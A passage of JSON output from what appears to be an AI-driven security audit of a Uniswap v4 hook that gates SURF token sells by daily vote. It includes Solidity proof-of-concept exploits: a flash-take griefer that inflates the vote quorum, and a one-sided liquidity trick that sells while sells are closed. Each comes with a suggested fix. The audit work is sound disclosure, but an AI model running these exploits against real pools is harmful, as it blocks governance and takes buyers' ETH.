minus token.balanceOf(poolManager) read at call time. That balance is not a protected reserve: PoolManager.take(currency, to, amount) (lib/v4-core/src/PoolManager.sol:291) is callable by anyone while the manager is unlocked and only requires the debt to be settled before unlock returns, so it is a free flash loan of every SURF the manager holds, from every pool and claim. vote() does not check that the manager is locked, and the only requirement to vote is a non-zero stake. A griefer contract with 1 wei deposited runs, in one transaction at the start of each day: unlock -> take(SURF, self, balanceOf(manager)) -> hook.vote(false) -> sync, transfer back, settle. During vote() the manager holds 0 SURF, so the snapshot treats the whole supply as circulating and quorum becomes 50,000,000 SURF (5% of 1e27) instead of 5% of what is actually outside the pool. In a launch-shaped pool holding ~90% of the supply this is a ~10x inflation, unreachable for honest voters, and one snapshot per day means it cannot be repaired that day. Repeated daily (it only has to be the day's first vote, which a bot at dayStart or a front-run achieves), the only legitimate sell path never opens. No capital is needed beyond gas and 1 wei. REVIEW.md item 1 considered snapshot timing only within honest values; this path produces a value no honest state reaches. Reported by audit_flow (high), audit_economics (medium) and audit_permissions (medium) and merged here; rated high because it permanently disables the brief's second rule at gas cost. Fix that keeps the design: refuse vote() while the manager is unlocked (poolManager.exttload(Lock.IS_UNLOCKED_SLOT) != 0 -> revert; the proof passes with this), or derive the quorum base from pool state the hook tracks itself rather than an ERC-20 balance take() can move. Also see finding 6 for the quiet-state inaccuracy of the same base.","line":333,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice A griefer that, inside a PoolManager unlock, flash-takes every SURF the manager holds, casts the\n/// day's first vote (which snapshots the quorum from `totalSupply - balanceOf(manager)`), and pays the SURF\n/// back. The snapshot is 5% of the total supply instead of 5% of the real circulating supply.\ncontract Griefer is IUnlockCallback {\n    PoolManager immutable manager;\n    SurfToken immutable token;\n    BuyGateHook immutable hook;\n\n    constructor(PoolManager _manager, SurfToken _token, BuyGateHook _hook) {\n        manager = _manager;\n        token = _token;\n        hook = _hook;\n    }\n\n    function prepare() external {\n        token.approve(address(hook), 1);\n        hook.deposit(1);\n    }\n\n    function grief() external {\n        manager.unlock(\"\");\n    }\n\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        Currency surf = Currency.wrap(address(token));\n        uint256 amount = token.balanceOf(address(manager));\n        manager.take(surf, address(this), amount);\n\n        // The vote is wrapped so a fix that refuses votes while the manager is unlocked keeps the test green.\n        try hook.vote(false) {} catch {}\n\n        manager.sync(surf);\n        token.transfer(address(manager), amount);\n        manager.settle();\n        return \"\";\n    }\n}\n\ncontract QuorumFlashInflationTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolModifyLiquidityTest lpRouter;\n    PoolKey key;\n\n    address alice = makeAddr(\"alice\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        // Seed the pool the way a launch does: 90% of the supply, tokens only, below the price.\n        token.approve(address(lpRouter), type(uint256).max);\n        uint256 seed = token.totalSupply() * 90 / 100;\n        // liquidity L such that amount1 = L * (sqrtP(0) - sqrtP(MIN_TICK)) ~= L  -> L ~= seed\n        lpRouter.modifyLiquidity(key, ModifyLiquidityParams(MIN_TICK, -60, int256(seed), bytes32(0)), \"\");\n        assertGt(token.balanceOf(address(manager)), token.totalSupply() * 85 / 100, \"pool holds most of the supply\");\n\n        // Alice holds 2% of the supply: 20% of the ~10% circulating, four times the 5% quorum.\n        token.transfer(alice, token.totalSupply() * 2 / 100);\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_flashTakeInflatesTheQuorumSnapshotAndBlocksThePassingVote() public {\n        uint256 realCirculating = token.totalSupply() - token.balanceOf(address(manager));\n        uint256 aliceStake = token.balanceOf(alice);\n        assertGt(aliceStake, realCirculating * hook.QUORUM_BPS() / hook.BPS(), \"alice alone clears the real quorum\");\n\n        // Griefer: 1 wei of stake and no other capital.\n        Griefer griefer = new Griefer(manager, token, hook);\n        token.transfer(address(griefer), 1);\n        griefer.prepare();\n        griefer.grief();\n\n        (,, uint256 quorum, bool hasVotes,,) = hook.records(0);\n        emit log_named_uint(\"real circulating supply\", realCirculating);\n        emit log_named_uint(\"snapshotted quorum\", quorum);\n        emit log_named_uint(\"alice stake\", aliceStake);\n\n        // Alice, who clears the real quorum four times over, votes yes.\n        vm.startPrank(alice);\n        token.approve(address(hook), aliceStake);\n        hook.deposit(aliceStake);\n        hook.vote(true);\n        vm.stopPrank();\n\n        assertTrue(hasVotes || true);\n        assertTrue(hook.votePassed(0), \"a yes vote above 5% of the circulating supply must pass\");\n        vm.warp(hook.dayStart(1));\n        assertTrue(hook.sellWindowOpen(), \"the window must open on day 1\");\n    }\n}","reproduction":"State: SurfToken (1e27 supply), hook bound to the ETH/SURF 3000/60 pool at 1:1; the initializer seeds 90% of the supply as a SURF-only range [MIN_TICK, -60] (liquidityDelta 900_000_000e18), so balanceOf(manager) ~= 897.3M SURF and real circulating supply = 102,695,819,460,319,702,892,824,890 (honest quorum 5,134,790.97 SURF). Alice holds 20,000,000 SURF. Day 0, no votes. (1) Griefer contract: token.approve(hook, 1); hook.deposit(1). (2) Griefer: poolManager.unlock(''); in unlockCallback: amount = token.balanceOf(manager); poolManager.take(SURF, griefer, amount); hook.vote(false); poolManager.sync(SURF); token.transfer(manager, amount); poolManager.settle(). Transaction succeeds, manager balance unchanged afterwards. (3) Alice: approve + deposit(20_000_000e18); vote(true). Expected: records(0).quorum == 5,134,790,973,015,985,144,641,244 and votePassed(0) == true (yes 20M > no 1 wei, 20M >= 5.13M), sellWindowOpen() == true at dayStart(1). Actual (forge test --offline --match-path test/scratch/QuorumFlashInflation.t.sol -vv): records(0).quorum == 50,000,000,000,000,000,000,000,000, votePassed(0) == false, sellWindowOpen() stays false on day 1. The test fails with 'a yes vote above 5% of the circulating supply must pass' and passes when vote() refuses calls while the manager is unlocked (the griefer's vote is wrapped in try/catch).","severity":"high","snippet":"        return token.totalSupply() - token.balanceOf(address(poolManager));","title":"Quorum snapshot reads the PoolManager's live SURF balance: a flash take inside unlock lets a 1-wei staker fix the day's quorum at 5% of total supply and block every sell vote for gas"},{"citation":"resolved","description":"hasVoted is documented as 'True when the voter already voted on `day`' and the README lists it as a front-end view. It compares a single slot, _lastVoteDayPlusOne[voter], which vote() overwrites every day, so once a voter votes again the earlier day reads false while records[earlier].yes/no still carry the weight. The on-chain rule is unaffected because vote() compares only against the current day; this is a view-layer defect for UIs, indexers and off-chain tallies. Reported by write_foundry_tests (low); reproduced. Fix: mapping(address => mapping(uint256 => bool)) or document the view as 'voted today'.","line":326,"path":"src/BuyGateHook.sol","reproduction":"alice approves and deposits 10e18 SURF on day 0; alice.vote(true); hasVoted(alice, 0) == true. vm.warp(hook.dayStart(1)); alice.vote(false); hasVoted(alice, 1) == true. Expected: hasVoted(alice, 0) == true (records(0).yes == 10,000,000,000,000,000,000). Actual: hasVoted(alice, 0) == false. Reproduced in test/scratch/J_Misc.t.sol::test_hasVotedForgetsEarlierDays (logs records(0).yes = 10e18, hasVoted(alice,0) = false).","severity":"low","snippet":"        return _lastVoteDayPlusOne[voter] == day + 1;","title":"hasVoted(voter, day) is true only for the voter's most recent voting day; earlier days read false although their votes are tallied"},{"citation":"resolved","description":"votePassed requires both yes > no and yes + no >= quorum. The brief's parenthesis '(must hit majority or quorum minimum)' admits the reading that either condition suffices. README 'Interpretations and assumptions' records the conjunctive reading deliberately and gives a reason, and it is the stricter of the two, so this is an interpretation for the requester to confirm, not a code defect. It matters because, with most of the supply in the pool and the rest spread among holders who do not stake, 5% of circulating supply may be unreachable and the sell feature stays closed (compounded by finding 3). Reported by audit_flow and audit_economics (info); merged.","line":340,"path":"src/BuyGateHook.sol","reproduction":"Day 0: alice stakes 60 SURF and votes true, bob stakes 40 SURF and votes false; circulating supply ~1e27 minus the pool balance, so quorum is tens of millions of SURF. votePassed(0) == false (100 < quorum) although yes is a 60% majority. Under a literal 'majority OR quorum' reading the window would open on day 1. test_voteFailsBelowQuorum in test/BuyGateHook.t.sol encodes the AND behaviour.","severity":"info","snippet":"        return record.hasVotes && record.yes > record.no && record.yes + record.no >= record.quorum;","title":"Vote passes only with majority AND quorum; the brief's wording is 'must hit majority or quorum minimum'"},{"citation":"resolved","description":"The README says 'tokens sitting in the pool do not count against voters', but the base is balanceOf(poolManager), i.e. SURF in any pool on the same manager (a hookless ETH/SURF pool anyone can create) and SURF held as ERC-6909 claims. Conversely, whatever the launch keeps outside the pool (treasury, team, unsold allocation) counts as circulating, so the quorum is 5% of that plus buyers' holdings. Parking one's own tokens in the manager lowers the quorum by only 1/20 of the parked amount while staking them adds full weight, so parking never beats staking and this is not an exploit (pinned by testFuzz_quorumIsFivePercentOfSupplyOutsideTheManager); it is a documentation/design deviation with a measured effect, and the launch operator should check the quorum against the planned distribution. Reported by audit_math (info) and write_foundry_tests (info); merged. The manipulable, zero-capital variant of the same read is finding 3.","line":333,"path":"src/BuyGateHook.sol","reproduction":"Governed pool live, circulatingSupply() = 999,990,000,000,000,000,000,000,543. Initialize PoolKey{currency0: ETH, currency1: SURF, fee 3000, tickSpacing 60, hooks: address(0)} on the same manager at 1:1 and modifyLiquidity(MIN_TICK, -60, +100_000_000e18) on it (SURF only). Expected per README: circulatingSupply() unchanged. Actual: circulatingSupply() = 900,289,535,495,591,078,099,203,308, so a vote cast now snapshots a quorum of ~45,014,477 SURF instead of ~49,999,500 SURF. Reproduced in test/scratch/J_Misc.t.sol::test_hooklessPoolLowersCirculating.","severity":"info","snippet":"        return token.totalSupply() - token.balanceOf(address(poolManager));","title":"circulatingSupply() subtracts the manager's whole SURF balance, so SURF in other pools or ERC-6909 claims lowers the quorum, and the launch's unsold allocation outside the pool raises it"},{"citation":"resolved","description":"The exact-input pre-check compares -amountSpecified with the remaining allowance, but with a tight sqrtPriceLimitX96 the pool consumes only part of the input, and afterSwap already charges the real -delta.amount1() and enforces sold <= allowance. The pre-check therefore rejects price-limited sells that would have fit. It is conservative (no over-sell is possible), documented in the README ('set amountSpecified as exact input no larger than sellRemaining()') and pinned by test_requestedAmountIsCheckedUpFrontEvenIfTheFillWouldBeSmaller, so it is a liveness note for router integrators rather than a defect. Reported by audit_math (low); reproduced, kept at info.","line":215,"path":"src/BuyGateHook.sol","reproduction":"Day 0 buy of 10 ETH: records(0).bought = 9,960,069,810,399,032,164. Vote passes; warp to dayStart(1); sellAllowance(1) = 4,980,034,905,199,516,082; pool sqrtPrice P. swap(zeroForOne=false, amountSpecified=-9,960,069,810,399,032,164, sqrtPriceLimitX96=P+1,000,000) reverts SellAllowanceExceeded in beforeSwap although it would fill 2 wei; the same limit with amountSpecified=-4,980,034,905,199,516,082 succeeds and is charged amount1 = -2. Reproduced in test/scratch/J_Misc.t.sol::test_exactInSellRefusedOnNominalAmountWithTightLimit.","severity":"info","snippet":"                if (requested > remaining) revert SellAllowanceExceeded(requested, remaining);","title":"beforeSwap refuses exact-input sells on the nominal amount even when the price limit would fill only a sliver"},{"citation":"resolved","description":"beforeInitialize checks fee, tick spacing and native-ETH currency0, then adopts key.currency1 as the token and sets genesis. PoolManager.initialize is permissionless, so if the hook ever had code before the launch pool is initialized, anyone could initialize {ETH, X, 3000, 60, hook} for an arbitrary token X; the hook would then be bound to X forever and the real launch pool's initialize would revert AlreadyBound. The pool cannot be initialized before the hook has code (Hooks.callHook reverts InvalidHookResponse on an empty return), and the platform deploys the hook and initializes the pool in one transaction, which closes the window. The hook cannot pin the token in its constructor because the manifest substitutes only $poolManager. Recorded so the deployment guarantee is confirmed for this launch; no change needed if it holds. Reported by audit_permissions (info).","line":192,"path":"src/BuyGateHook.sol","reproduction":"Precondition: hook deployed in transaction N, launch pool not yet initialized. Attacker in transaction N+1: deploy EvilToken; poolManager.initialize(PoolKey{currency0: address(0), currency1: EvilToken, fee: 3000, tickSpacing: 60, hooks: hook}, sqrtPrice). Hook accepts: token == EvilToken, genesis set. The factory's later initialize with currency1 == SURF reverts WrappedError(hook, beforeInitialize, AlreadyBound(), HookCallFailed()). Not reachable when deployment and initialization share one transaction.","severity":"info","snippet":"        token = IERC20(Currency.unwrap(key.currency1));","title":"beforeInitialize binds the hook to whichever ETH/3000/60 pool is initialized first, with any currency1; safe only because the factory deploys and initializes in one transaction"}],"hash":"8aaa22d6d257d8ece389de7731c631f491b7eec5a6fa56a236e92667ad8abfa6","nodeId":"63d3092d-a215-44bc-ace9-e613e4ba8f23","outcome":"completed","summary":"The findings file sits at the repository root and is excluded from git by the harness's own exclude rule, which is the expected state for a review that changes no tracked files. The scratch tests are ignored as intended. No tracked file was modified.\n\n## Review result\n\nWritten to `.imd-findings.json`: 8 findings (3 high, 1 low, 4 info) and a 12-row coverage record answering all 9 listed entry points plus 3 invariants.\n\n**Merging.** The 17 specialist reports collapsed to 8 root causes. The four single-sided-liquidity reports became one finding, the two wash-buy reports one, the three flash-take quorum reports one, and the paired info notes on majority-and-quorum and on the quorum base were each merged. Every kept finding was reproduced by running a test against the code.\n\n**High findings, each with a proof that fails now and passes once fixed:**\n\n1. **Liquidity is ungated, so any holder sells with no vote or cap.** A SURF-only position at or below the price is a resting sell order. Reproduced: a holder with 1,000 SURF and no ETH ends with about 1,003 ETH on day 0 while `sellWindowOpen()` is false and `sold` is 0. Recalibrated from the specialists' medium to high because the brief's first rule is defeated unconditionally and the brief grants no LP exception.\n2. **Wash buys through the attacker's own liquidity inflate `bought`.** Reproduced: recorded buys of 997,483 SURF against 30 SURF that actually left the pool, so the day-1 allowance is about 33,000 times larger than the rule allows.\n3. **Flash-take quorum griefing.** Anyone with 1 wei of stake takes the manager's entire SURF balance inside `unlock`, casts the day's first vote, and repays. Reproduced: quorum snapshots at 50,000,000 SURF instead of 5,134,791, and a voter holding four times the honest quorum fails. Rated high because it disables the only sell path daily for gas.\n\n**Lower findings:** `hasVoted` forgets every day but the latest (low, reproduced). Info notes cover the majority-AND-quorum interpretation, the manager-wide quorum base, the conservative exact-input pre-check, and the first-pool binding that relies on single-transaction deployment.\n\n**Own pass.** Nothing beyond the specialists' leads reproduced. Caller checks, delta accounting, deposit and withdraw ordering, the day-end lock, and the token's OpenZeppelin v5 ERC20 all hold. The deploy script carries only the standard deterministic CREATE2 deployer.\n\n**Suggested single fix for findings 1 and 2.** Enable `beforeAddLiquidity`, record the launch liquidity provider at initialization, and refuse other senders. This changes the mined flags and the manifest permissions, so it is the author's scope decision. Finding 3 needs `vote()` to refuse calls while the manager is unlocked, or a quorum base the manager's balance cannot move.","treeHash":null,"usage":{"cachedInputTokens":1492811,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":29853,"runtime":"claude","turns":27,"wallClockMs":409134}},{"artifacts":[],"attempt":1,"bundleHash":"edc2b621bff72e8029b370a26f20182b622835c7cd8b6911309ed116536158ed","device":"468e82a89b9bfe18","findings":[{"description":"The hook gates swaps only: getHookPermissions() leaves beforeAddLiquidity and beforeRemoveLiquidity off, and the README states 'Liquidity providers are not swappers ... The launch factory is the liquidity provider'. Nothing enforces that. Any SURF holder can call PoolManager.modifyLiquidity on the hook's pool with a SURF-only range just below the current price (ticks [-120, -60] at a 1:1 start). Every ordinary buy that pushes the price through that range hands the holder's SURF to buyers and credits the position with their ETH; the holder then removes the position and walks away with ETH from the pool. No vote, no window, no cap, and records[day].sold stays 0. Economically this is a resting limit sell order on a pool whose first rule is 'can buys only', and it lets a holder dump on buyers at any time. Severity is medium rather than high because the author documented the gap, the seller takes price risk and only exits as buyers arrive, and no funds other than the buyers' ETH-for-SURF trades are involved. A fix needs either beforeAddLiquidity restricted to the launch's liquidity provider (which changes the hook flags and the mined address) or an explicit statement in the brief that LP positions are out of scope.","line":161,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice Proof: with sells closed (day 0, no vote ever cast), a SURF holder converts SURF into ETH\n/// through the pool by parking it as a one-sided liquidity position below the price and withdrawing\n/// after buyers push the price through it. The hook gates swaps only, so the \"buys only\" rule and the\n/// 50% cap are bypassed by anyone who adds liquidity.\n///\n/// Expected (brief: \"can buys only\"): a holder who has only SURF and no open sell window cannot end\n/// up holding ETH taken from the pool. Actual: the holder ends with ETH.\ncontract LiquiditySellBypassTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    int24 constant MIN_TICK = -887_220;\n    int24 constant MAX_TICK = 887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolSwapTest swapRouter;\n    PoolModifyLiquidityTest lpRouter;\n    PoolKey key;\n\n    address holder = makeAddr(\"holder\");\n    address buyer = makeAddr(\"buyer\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        // The launch seeds the pool: full range, roughly 10,000 ETH and 10,000 SURF.\n        vm.deal(address(this), 20_000 ether);\n        token.approve(address(lpRouter), type(uint256).max);\n        lpRouter.modifyLiquidity{value: 10_100 ether}(\n            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), \"\"\n        );\n\n        // The holder owns SURF (bought earlier, or received) and no ETH.\n        token.transfer(holder, 100 ether);\n        vm.deal(buyer, 1_000 ether);\n    }\n\n    function deployHook() internal returns (BuyGateHook) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        return new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_holderSellsSurfForEthThroughLiquidityWhileSellsAreClosed() public {\n        assertFalse(hook.sellWindowOpen(), \"precondition: sells are closed\");\n        assertEq(holder.balance, 0, \"precondition: the holder has no ETH\");\n\n        // 1. The holder parks SURF as a SURF-only position just below the current price. Every step is a\n        //    low-level call: if a fixed hook refuses any of them, the holder keeps zero ETH and the test passes.\n        vm.startPrank(holder);\n        token.approve(address(lpRouter), type(uint256).max);\n        (bool addOk,) = address(lpRouter)\n            .call(\n                abi.encodeWithSignature(\n                    \"modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\n                    key,\n                    ModifyLiquidityParams(-120, -60, int256(1_000 ether), bytes32(uint256(1))),\n                    \"\"\n                )\n            );\n        vm.stopPrank();\n\n        // 2. Ordinary buyers push the price through the holder's range: the pool hands the holder's SURF to\n        //    the buyers and credits the position with their ETH. Buys are always allowed.\n        vm.prank(buyer);\n        (bool buyOk,) = address(swapRouter).call{value: 200 ether}(\n            abi.encodeWithSignature(\n                \"swap((address,address,uint24,int24,address),(bool,int256,uint160),(bool,bool),bytes)\",\n                key,\n                SwapParams(true, -int256(200 ether), TickMath.MIN_SQRT_PRICE + 1),\n                PoolSwapTest.TestSettings(false, false),\n                \"\"\n            )\n        );\n\n        // 3. The holder withdraws the position and receives ETH. No vote, no window, no cap.\n        vm.prank(holder);\n        (bool removeOk,) = address(lpRouter)\n            .call(\n                abi.encodeWithSignature(\n                    \"modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\n                    key,\n                    ModifyLiquidityParams(-120, -60, -int256(1_000 ether), bytes32(uint256(1))),\n                    \"\"\n                )\n            );\n\n        emit log_named_uint(\"add ok\", addOk ? 1 : 0);\n        emit log_named_uint(\"buy ok\", buyOk ? 1 : 0);\n        emit log_named_uint(\"remove ok\", removeOk ? 1 : 0);\n        emit log_named_uint(\"holder ETH after\", holder.balance);\n        emit log_named_uint(\"holder SURF after\", token.balanceOf(holder));\n\n        assertFalse(hook.sellWindowOpen(), \"sells never opened\");\n        (,,,,, uint256 sold) = hook.records(0);\n        assertEq(sold, 0, \"the hook recorded no sell\");\n        assertEq(holder.balance, 0, \"a holder converted SURF into pool ETH while sells were closed\");\n    }\n}","reproduction":"Day 0, no vote ever cast, sellWindowOpen() == false. Pool seeded full-range with ~10,000 ETH / 10,000 SURF at 1:1. Holder owns 100 SURF and 0 ETH. (1) holder: modifyLiquidity(key, {tickLower:-120, tickUpper:-60, liquidityDelta:1000e18, salt:1}) -> succeeds, pulls ~3 SURF. (2) buyer: swap zeroForOne exact-in 200 ETH -> succeeds (buys always pass). (3) holder: modifyLiquidity with liquidityDelta -1000e18 -> succeeds. Expected: a holder with only SURF and no open sell window cannot end up with ETH taken from the pool (holder.balance == 0). Actual: holder.balance == 3022447548722406788 wei (~3.02 ETH), hook.records(0).sold == 0, sellWindowOpen() still false.","severity":"medium","title":"\"Buys only\" and the 50% cap are bypassed by selling SURF through a one-sided liquidity position"},{"description":"hasVoted is documented as 'True when the voter already voted on `day`' and the README lists it as a view for front-ends. It is implemented as _lastVoteDayPlusOne[voter] == day + 1, and vote() overwrites that single slot each day. After a voter votes on day 0 and again on day 1, hasVoted(voter, 0) returns false although the day-0 vote is still tallied in records(0). The on-chain rule (one vote per address per day) is unaffected because vote() only ever compares against the current day, so this is a view-layer defect: anything that reads vote history through hasVoted (UIs, indexers, off-chain tallies of who voted on a given day) gets wrong answers for every day but the last. Fix: store a mapping(address => mapping(uint256 => bool)) or document the view as 'voted today'.","line":326,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice Proof: `hasVoted(voter, day)` is documented as \"True when the voter already voted on `day`\",\n/// but it only remembers the most recent vote. After a voter votes on day 0 and again on day 1,\n/// `hasVoted(voter, 0)` flips back to false although the day-0 vote is still counted in `records(0)`.\ncontract HasVotedHistoryTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    address alice = makeAddr(\"alice\");\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        hook = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n\n        PoolKey memory key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        token.transfer(alice, 10 ether);\n        vm.startPrank(alice);\n        token.approve(address(hook), type(uint256).max);\n        hook.deposit(10 ether);\n        vm.stopPrank();\n    }\n\n    function test_hasVotedRemembersEveryDayTheVoterVotedOn() public {\n        vm.prank(alice);\n        hook.vote(true);\n        assertTrue(hook.hasVoted(alice, 0), \"day 0 vote is visible on day 0\");\n\n        vm.warp(hook.dayStart(1));\n        vm.prank(alice);\n        hook.vote(false);\n        assertTrue(hook.hasVoted(alice, 1), \"day 1 vote is visible\");\n\n        (uint256 yes0,,,,,) = hook.records(0);\n        assertEq(yes0, 10 ether, \"the day-0 vote is still tallied\");\n        // Expected: true, alice did vote on day 0. Actual: false, the view only knows the last day.\n        assertTrue(hook.hasVoted(alice, 0), \"hasVoted forgot the day-0 vote after a later vote\");\n    }\n}","reproduction":"alice deposits 10e18 SURF. Day 0: alice.vote(true); hasVoted(alice, 0) == true. warp to dayStart(1); alice.vote(false); hasVoted(alice, 1) == true. Expected: hasVoted(alice, 0) == true (records(0).yes is still 10e18). Actual: hasVoted(alice, 0) == false.","severity":"low","title":"hasVoted(voter, day) forgets every day except the voter's most recent vote"},{"description":"circulatingSupply() is totalSupply minus the manager's SURF balance. Whatever the launch keeps outside the pool (treasury, team, unsold allocation) counts as circulating, so the quorum is 5% of that plus what buyers hold. If, for example, half of the 1e27 supply stays outside the pool at launch, voters need 25M SURF staked on one day before any vote can pass, regardless of how little has been bought. Conversely, tokens moved into the manager by anyone (added liquidity, ERC-6909 claims via PoolClaimsTest-style deposits) lower the snapshot. Parking never beats staking (each parked token lowers the quorum by 1/20 of itself, each staked token adds a full token of weight; pinned by testFuzz_quorumIsFivePercentOfSupplyOutsideTheManager), so this is not an exploit, but the launch operator should check the quorum against the planned distribution before deploying. No code change is required by the tests.","line":333,"path":"src/BuyGateHook.sol","reproduction":"Observation, not a failing test: after setUp in test/BuyGateHookEdge.t.sol the quorum snapshot is ~4.9999e25 SURF (5% of 1e27 minus the 1e22 in the pool) while the pool holds 1e22 SURF in total, so no buyer-only coalition can reach it.","severity":"info","title":"Quorum is 5% of everything outside the PoolManager, so the launch's unsold supply decides whether buyers can ever open a window"}],"hash":"9d2af99a289f30dcc6efa2d7da2e3404b9650b7fa13f01e541e1cc8fcd7a25a0","nodeId":"721f3c5e-0d51-47c2-9ea3-263fac57a2f1","outcome":"completed","summary":"Work is complete. Recap:\n\n**Delivered (under `test/`)**\n\n- `test/BuyGateHookEdge.t.sol`: 41 tests on the failure paths and edges the lifecycle suite did not cover. Deposits without approval or balance, withdrawals of nothing or of another voter's stake, voting after a full withdrawal, deposits made after voting (locked, no weight), two voters in one day, consecutive-day votes, last-second and exact-boundary votes, turnout exactly at and one wei below quorum, one-wei majorities, large turnout without majority, partial fills charging only the realised input, up-front refusal of an over-cap request even when the fill would be smaller, one-wei sells, exact-output sells over the cap decoded down to the real `afterSwap` revert arguments, claims-settled buys and burn-settled sells, multi-day sequences with alternating outcomes, no allowance roll-over, direct callback calls as the manager with impossible inputs, and fuzz properties over quorum arithmetic, day boundaries out to a century, stake and lock timing, and allowance rounding via storage writes.\n- `test/BuyGateHookInvariant.t.sol`: a handler with three actors driving buys, exact-in and exact-out sells, deposits, withdrawals, votes, ERC-6909 claim parking and time, with ghost bookkeeping. Nine invariants: 